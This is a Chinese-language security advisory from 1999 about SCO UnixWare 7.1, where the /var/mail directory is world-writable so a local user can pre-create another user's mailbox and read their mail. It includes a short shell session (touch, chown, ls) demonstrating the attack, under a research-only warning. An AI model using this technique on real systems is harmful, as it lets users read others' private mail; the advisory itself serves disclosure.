发布日期：1999-12-03
更新日期：1999-12-04

受影响系统：

SCO Unixware 7.1

描述：

---

SCO''s UnixWare (只在7.1下检验) 中的/var/mail目录权限为777（-rwxrwxrwx）。因此可以让恶意用户读取还没有建立(/var/mail/username)文件的用户的邮件。攻击者通过创建这样
一个有可读权限的文件就可以达到目的。

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

bash-2.02$ id
uid=106(xnec) gid=1(other)
bash-2.02$ pwd
/var/mail
bash-2.02$ touch btellier
bash-2.02$ chown btellier btellier
bash-2.02$ ls -la btellier
-rw-r--r-- 1 btellier other 0 Dec 4 07:54 btellier

Now wait for btellier to get some mail...


建议：

---

暂无

浏览次数：7093
严重程度：0（网友投票）